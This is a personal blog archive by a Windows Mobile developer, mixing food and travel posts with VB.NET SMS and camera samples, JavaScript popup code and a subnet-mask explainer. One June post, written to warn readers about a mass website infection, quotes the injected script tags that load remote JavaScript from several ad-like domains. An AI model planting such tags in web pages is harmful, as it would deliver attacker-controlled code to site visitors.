Rodney's profileRodster on the WebPhotosBlogGuestbookMore Tools Help

Blog


    October 19

    Food Trip

     DSC_0009 DSC_0005 DSC_0008 DSC_0013DSC_0012 DSC_0014

    I had fun at Tong Yang last Saturday with my friends Bloggie and Chatty.  Just sharing the photo’s I took on our shabu-shabu dinner.   Their appetizers were surprisingly good; their kim-chi was just spiced enough the way I like it and their sea weed “guso” was served in a vinegar and spice sauce.  The raw thin slices of beef had a lot of fat linings and was an excellent barbeque that tasted so good.   Also, on our list of barbeque was tiger prawns, scallops, chicken wings, and some pork.    The soup base we chose for the shabu-shabu was called “Taiwan Mala” which is slightly salty but spiced so well.  It tasted so good and we had some fancy fish balls, vermicelli, tofu, some vegetables for our soup.  Our food session ended with salads that comprised potatoes, tomatoes, and crabstick smothered with a lot of mayonnaise.

    Overall, dinner was beyond my expectations and I had fun with my friends.    I hope to do this often (the food blogging I mean :)).

    Update: my friend Bloggie (his name came first before ‘blogs’ :)) has a post on this as well.  his blog won as one of the most influential blogs in the Philippines.  check it out at http://www.davaodeli.com/

    October 18

    Microsoft Financing Promo

    Just would like to share this opportunity.  Microsoft is now offering a financing program; you pay only 30% upfront and the remaining balance is paid in nine months with zero interest.

    More details is at http://www.microsoft.com/philippines/financing/default.aspx

    You can avail of this through any shop selling Microsoft products (including Lane Systems :))

    October 11

    Windows Mobile Development

    DSC_0025 DSC_0021

    Last October 3, I did a technical session on Windows Mobile development. Participants are from the different backgrounds but had the same interest in learning Windows Mobile development.  

    Thanks to Sam Jacoba of Microsoft Philippines and to Princess of Globe Telecoms for sponsoring the activity.

    Message for those who attended the session:

    First, you can download the presentation from wm-dev.pptx

    I did a mistake during my demo that we were not able to derive the message from an SMS message.  The mistake during my demo is that I forgot to typecast the parameter of the MessageReceived event.  The e.Message type is PocketOutlook.Message, a generic pocket outlook message type, and has to be typecasted to PocketOutlook.SMSMessage to retrieve the .body property:

    dim smsMessage as smsMessage = ctype(e.Message, smsMessage)

    From here smsMessaage.body contains the sms Message.  My apologies for forgetting during the presentation.

    Creating an SMS application

    SMS based applications has been the key driver for value added services (VAS) from any cellular phone company.  However, SMS VAS in the Philippines is priced at P2.50 per message and twice the rate of the regular SMS.   With Windows Mobile devices, you can create your own SMS applications and take advantage of regular SMS rates.

    To create an SMS application, you start with creating an interceptor object:

    Dim WithEvents sms As New MessageInterception.MessageInterceptor

    Don’t for get to include the reference to PocketOutlook on the first line of the code:

    Imports Microsoft.WindowsMobile.PocketOutlook

    To receive the SMS message, handle the MessageReceived event of the sms object, for example:

    Private Sub sms_MessageReceived(ByVal sender As Object, ByVal e As        Microsoft.WindowsMobile.PocketOutlook.MessageInterception.MessageInterceptorEventArgs) Handles sms.MessageReceived
            'you need to typecast the message
            Dim msg As SmsMessage = CType(e.Message, SmsMessage)
            'msgb.body now contains the message
            MsgBox(msg.Body)
        End Sub

    In the example above, msg.body contains the message received.  You can parse that message and decide what to do with it.  So for example, if the expected message is in the format:

    JOIN RAFFLE <name>/<address>/<email>

    You can first parse if the message contains the right key:

    if msg.body.substring(0,11)=”JOIN RAFFLE”

    then you can get the parameters via

    dim paramString as string=msg.body.remove(0,12)
    dim paramArray() as string=paramString.split("/")

    now the values can be extracted as:

    paramArray(0) becomes the name
    paramArray(1) becomes the address and
    paramArray(2) becomes the email entry

    You can then decide to store the entry into a database.  This is how easy and simple it is to start building your own SMS VAS!

    October 07

    Programming: Windows Mobile Camera

    Unlike in the olden days where the camera on the Windows Mobile were just about VGA quality, we have Windows Mobile phones today that carries excellent resolution for both view and print.   These cameras are not just for fancy and have their purpose also for the corporate applications; for example you might want to associate a photo of a newly arrived item with its database record.   Without a good API, you will need to capture that image and do a manual attach but to most people like me that is not acceptable.

    The good news is that one of the name spaces under Microsoft.WindowsMobile.Forms namespace is a class called CameraCaptureDialog.  By instantiating this class, you now have access to the camera feature of the phone.   You can capture pictures or video and depending on your needs and programmatically associate the captured picture or video to your application.

    Here’s a simple example, using Visual Studio, drag a picture box to a Windows Mobile form.  We’ll use that picture box to view the result of a picture capture.  Then drag a button to the form and on the button’s click event, write the code below:

    ‘  don’t forget to have a reference to Imports Microsoft.WindowsMobile.Forms

    Dim ccd As New CameraCaptureDialog
    ccd.Resolution = New Size(100, 200)
    ccd.Mode = CameraCaptureMode.Still
    ccd.ShowDialog()
    If ccd.FileName <> String.Empty Then PictureBox1.Image = New Bitmap(ccd.FileName)

    Run the app and see how you can take advantage of the Windows Mobile camera in your custom Windows Mobile applications!

    Another notable fact is that even though you don’t have a Windows Mobile phone, you can use the Windows Mobile device emulator.  But since the emulator does not have a physical camera, all you see is black :)   but it works!

    Windows Mobile 6 tools: Cellular Emulator

    The advantage of developing applications for Windows Mobile is the availability of excellent tools for developing Windows Mobile applications even without having the actual device yet.  This includes the cellular emulator.   The cellular emulator  fakes the connection to the cellphone company for calls, sms, and data so that you can work on applications requiring connections without the actual device and without the actual connection to the telco.

    Note: this is only available for phone based Windows Mobile ROMs.   This has no use to Windows Mobile classic (Pocket PC) device ROM.

    Once you start the cellular emulator you will see the following screen:

    image

    To connect the device emulator to the cellular emulator,  check the DE parameter for which COM port it is listening on.   The Cellular Emulator creates virtual COM ports that waits for a connection from the device emulator.

    If you may have noticed my COM port is COM10.  If you try to configure the COM port of the emulator as COM10, you may get an error.  COM settings under Windows has a convention such that if the port number is 10 and above, you should write it as \\.\COMXX and not just COMX.  Writing it as COMX is ok for COM1 to COM9.  So for example:

    image

    Once you have successfully established the connection(after doing a soft-reset), you may now try to:

      • Make call and receive calls
      • Connect to GPRS or 3G data networks, and
      • Send and receive SMS

    ..and without the need of having a physical device nor an actual connection to the cellular company.

    Have Fun!

    image

    August 25

    Javascript Popups

    Someone asked me on how to do those cool pop-ups on webpages and that the pop-ups will not require any postbacks (site refreshing from the server).  Here’s how I do it and have used the same concept on our company’s website (www.lanesystems.com) as well as on our web application products.

    The simplest is to embed the following code in your website:

    window.open ("mypopuppage.aspx","title appears here","status=1,toolbar=1");

    For example, the code below will show a splash screen for your web application:

    <html>
    <head>
    <title>splash sscreen demo</title>
    </head>
    <script language="JavaScript1.2">
    function showMyPopup()
    {
    myPopup= window.open ("popupContent.aspx", "tadah!","location=1,status=1,scrollbars=1,width=400,height=200");
    myPopup.moveTo(0,0);
    }
    </script>
    <body onload="javascript: showMyPopup()">
    Cool popup demo
    </body>
    </html>

    If you do not want to use another page as your content to the popup window, you can use the document.write method to write the content on your pop-up window.  Here’s another example:

    <html>
    <head>
    <title>Another pop-up sample</title>
    </head><script language="JavaScript1.2">
    function hideMyPopup()
    {
       if(false == myPopup.closed)   {
        myPopup.close ();
       }
    }

    function showMyPopup()
    {
      myPopup = window.open("","Voila!","status=1,width=350,height=150");
      myPopup.document.write('<p>this appears in the popup</p>');  
    }
    </script>
    <body>

    <a href="javascript: showMyPopup()">Show My Window</a>
    <br /><a href="javascript: hideMyPopup()">Hide My Window</a>

    </body>
    </html>

    You can use the document.write to code forms so you can have pop-ups for asking information from the user.

    If you have noticed, there is a set of parameters you can use as the third parameter to open a window, the following are values you can use (the names are self explanatory :) try them out)  status, toolbar, location, menubar, directories, resizable, scrollbars, height, and width.

    Earth Wind and Fire

    We were lucky to handle the ticket validation (barcodes on the tickets) on the Earth Wind and Fire concert last Saturday (August 23) at the SM Davao parking area.  I’d like to share some of the photo’s I took during the show.  Enjoy! :)

    DSC_0103 DSC_0109 DSC_0199 DSC_0116 DSC_0185  DSC_0176 DSC_0220 DSC_0250 DSC_0259

    SMS in Windows Mobile

    One of the wonderful things in Windows Mobile application development is having access to the services on the Windows Mobile device itself.   SMS or text messaging is one of them.  You can intercept the messages or send messages.   This post shows how simple it is to use the services like creating and sending SMS messages.

    Comparing to other mobile platforms, using the Windows Mobile services is simpler: this means that you can be more productive by focusing more on the business logic of your mobile application than doing a lot of efforts in the plumbing of how SMS messages are sent. 

    Here’s a sample on how to send an SMS message using .NET Compact Framework on a Windows Mobile 6 device (code in VB.NET):

    Dim smsMessage As New Microsoft.WindowsMobile.PocketOutlook.SmsMessage(“09177001462”, “hello world!”)
    smsMessage.Send()

    Two lines of code and you have an SMS sending application!   Imagine how simple it is to create an enterprise messaging utility by querying a SQL Server database on the network or to an XML Web Service or WCF from the Windows Mobile device and get information like Purchase Orders that needs approval and the recipient gets informed immediately.

    Subnet Mask

    I recently got to interview a several applicants saying that they are either Cisco certified or they rate themselves higher than 5 (having 10 the highest) on being a system administrator or a network support personnel, but more than 95% of them couldn’t answer me on what a subnet mask is.   I’m not a system administrator nor a certified network engineer.  However, I thought this was basic to configuring TCP/IP based networks.  

    So what is a subnet mask?   A subnet mask is value for;

    1) determining the subnet or network address of the host
    2) a tool to determine the number of addresses and hosts in the same subnet
    3) to determine the broadcast address of the subnet or network address

    So how does the subnet mask achieve these values?

    1) To determine the subnet or network address of the host you are configuring, use the host address and the subnet mask as the operand of the “and” operator.  The result would be the subnet address or network address.    To recall, to mask means to use the binary “and” operator. Since it’s a “bi” operator, it requires two operands where the first operand is the host IP and the second operand is the subnet mask.   The “and” operator will return 1 if and only if both operands are 1 and returns zero if any of the operands are zero.

    For example:  a host with an address of 192.168.1.100 with a subnet mask of 255.255.255.0

    192.168.1.100 in binary is           11000000     10101000     00000001    01100100

    255.255.255.0 in binary is           11111111     11111111     11111111    00000000

    After doing an “and” the result is 11000000     10101000     00000001     00000000

    or in decimal it’s 192.168.1.0.    

    The basics of tcp/ip host communication is that the source will first determine if the target address belongs to the same subnet or network address. If it does then both hosts can communicate directly. If not, then it throws the data to the gateway address (the router) and routes the packet to the destination address.  Routing is another topic and I won’t cover in this post.   So in the example provided, the host 192.168.100 can communicate directly with any host as long as it belongs to the same subnet or network address or belonging to the 192.168.1.0 network.

    Here’s another example: a host with an address of 123.4.5.67 with a subnet mask of 255.255.255.248

    123.4.5.67 in binary is       01111011     00000100     00000101      01000011

    255.255.255.248 in binary  11111111     11111111     11111111      11111000

    The result of an “and” is     01111011     00000100     00000101      01000000

    or in decimal it’s 123.4.5.64

    In the example above, 123.4.5.67 can communicate directly with hosts within the 123.4.5.64 subnet or network address, else it throws data to the router or the gateway address that is also on the same subnet.

    2) To determine how many hosts are there in a subnet address is simple.   Simply count the number of zeros in a subnet mask in binary form and that number is used as an exponent to the number 2.  So in the second example above, the number of zeros in the subnet mask is 3 (the last octet is 11111000 and the number of zeros is three) so 2 to the power of 3 is 8 or there are eight IP addresses. So given the subnet 123.4.5.64, the addresses are 123.4.5.64 to 123.4.5.71.

    As an experiment, try to do an “and” for 123.4.5.72 and 255.255.255.248 and you’ll get another subnet address.  This means that 123.4.5.72 belongs to a different subnet address and requires a router in between 123.4.5.64 network to the 123.4.5.72 network.

    3) To determine the broadcast address of the subnet, get the last IP address of a subnet and you’ll get the broadcast address of a subnet.

    1> 123.4.5.64 = network address
    2> 123.4.5.65
    3> 123.4.5.66
    4> 123.4.5.67
    5> 123.4.5.68
    6> 123.4.5.69
    7> 123.4.5.70
    8> 123.4.5.71 = broadcast address

    To note, on a TCP/IP subnet there are two IP address that you cannot assign to a host; the network address and the broadcast address.  You can only use to assign to a host the addresses in between a network address and the broadcast address of a subnet. On the list above, only the 2nd to the 7th address are assignable to hosts (computers, servers, windows mobile, etc)

    So on the first example, the subnet address of 192.168.1.0 can only assign hosts with addresses of 192.168.1.1 to 192.168.1.254 (as 192.168.1.255 is the broadcast address).

    The fourth reason for a subnet mask is for determining how to partition a huge network (like the Internet) so only the number of required IP addresses are assigned to a subnet.   Planning a network is beyond the scope of this post (bug me if anyone is interested).

    Cheers!

    Oscar

    If you’ve been to Sentosa (Singapore), you’ll know who Oscar is (well, that is if you’ve taken time to see the Songs of the Sea but who wouldn’t!)

    DSC_0461 DSC_0465  DSC_0690

    DSC_0691DSC_0697 DSC_0694

    late posts

    I told myself to constantly update this blog and it took a while since my vacation.  Oh well.. here’s more updates.

    June 23

    scripting attack

    Try searching on the net for www.bigadnet.com or www.adwbnr.com and you'll see a huge number of sites infected!    Seems that there is a new attack on websites going on the internet today.   I couldn't seem to find any resource on how this could've happened,.  If you know more about this, do contact me or reply to this post. :)
     
    Below is the script that gets inserted to the html page.

    "<script src=http://www.bigadnet.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.bnradw.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.pingbnr.com/b.js></script><script src=http://www.pingadw.com/b.js></script>"
    June 22

    CODEPLEX and Microsoft ISA

    I kinda wondered for sometime why I can only access www.codeplex.com outside the office or if I use my HSDPA access to the Internet.  From the office I get this weird behavior that codeplex downloads a file every time we access the site. It took a while for me to play around on settings on the ISA Server (no, ISA is not the problem.  Microsoft Internet Security and Acceleration Server is so far the best server based network firewall! hands down!).  The solution was simple on the contrary;  I just needed to disable HTTP compression and voila!   It took a while for me to realize that.

    image image

    June 19

    Windows Mobile Development

    DSC_0076DSC_0080DSC_0077DSC_0081DSC_0083DSC_0084

    The cool thing about my job, aside from doing software project architectures, is that I lead the development of Windows Mobile applications specially focusing on Auto-ID.   Photo's above shows the stuff I play around with;  RFID and Barcode readers that's built into Windows Mobile (these Windows mobile devices are rugged!  Can withstand 5ft drops to concrete, jet-spray with water, works as a computer for a user working in extremely hot or cold scenarios , etc) to RFID tags and labels, and specialized hardware.

    Our company started in 1995 as an auto-id company.  I remember that we used to develop against highly proprietary hardware; where apps only runs on the device, the wireless interface uses proprietary frequency, and it looks more like a huge calculator than a portable digital terminal.   Those devices required us to write our code only in C and compile using a crude command line compiler.  The created binary would only run on the device so the only way to debug is to show variable values on the screen.  Yes, it was crude, no OS, and the development cycle was horrible.

    Thanks to Microsoft's Visual Studio we are now able to write mobile applications and step through the code while the application runs on the device!  Now applications are more dependable as they become more bug-free.   This is specific to Windows Mobile devices (of course! :) ), though some competing brand has switched their devices to Windows Mobile OS, rather than their own OS, so let's say including the majority of portable digital terminals.    :D

    The .NET Compact Framework gave way to a huge number of classes and functions that is highly re-usable including services for accessing databases (both on the device or to a SQL Server on the network), threading, encryption, network services, and others.  A Windows Mobile application can subscribe to webservices and access its classes and methods via providing the WSDL, thus allowing the portable digital terminal to communicate with diverse services over the network and the Internet just like a PC.

    This makes Windows Mobile and .NET Compact Framework the de facto standard in portable digital terminals specially in the Auto-ID world.

    June 16

    Bloggers Party

     

    Thanks to Blogie Robillo who invited me to the Blogger's Party.   I was amazed on the diverse blogs that are being made in Davao; from medicine, art, big bikes, and movies to name a few aside from the personal blogs that contain unique experiences that are not only entertaining but informative as well.

    It's like everyone knows everyone in the party and the fun didn't end at the main venue; the party continued at the O' Flanegans (didn't have photos unfortunately) where interesting topics were discussed and had exchange of strange ideas (maybe it was due that we ran out of san mig light!)

    Congratulations to Mindanao Bloggers!   may you have many more parties to come!  CHEERS!

     DSC_0064 DSC_0063 DSC_0058

    DSC_0059  DSC_0060 DSC_0061 DSC_0065

    June 14

    Scuba Diving

    IMG_0966_jpg

    Just wanted to share this scuba diving experience with wify :)    dating at 30ft!

    June 07

    Dinner with the SEA MVP Lead, Ms. Canny Wang

    The MVP's enjoyed the dinner with Ms. Canny Wang - MVP Lead for SEA.  The food was good at the Sentro(2/F Greenbelt 3).   I thought the "sinigang na cornbeef" (tamarind soup using cornbeef") was a joke, it was real and yummy.

    Here's some photos of the dinner:

    DSC_0010

    From L2R (first row) Chester, Ms. Canny Wang, Jasper, Jay , Michael, (2nd row) Jay B., Warren, Glenn, Eugene, and me :)

    DSC_0009

    DSC_0011 

    DSC_0013 DSC_0014 DSC_0012 DSC_0015

    June 04

    Pets

    My wife and I have been fond of fishes for more than two years now.  I'd like to share some of the fishes that have been staying in our living room since they were young.

    This is humpy (i guess you know why).    Humpy was unbelievably just about half-inch a year ago!DSC_0019

    Below is July (you guessed it right, he was bought in July...  2006)DSC_0022

    And our new favorite, fishy (just like you would name your dog "doggy" :D )     DSC_0029 

    Fishy loves to sing... most of the time.

    Finally my BLOG!

     

    It's been a while that I started a blog and was not able to update. ...and starting today I promised myself that I should have one again and will update this blog very often. :)  cheers!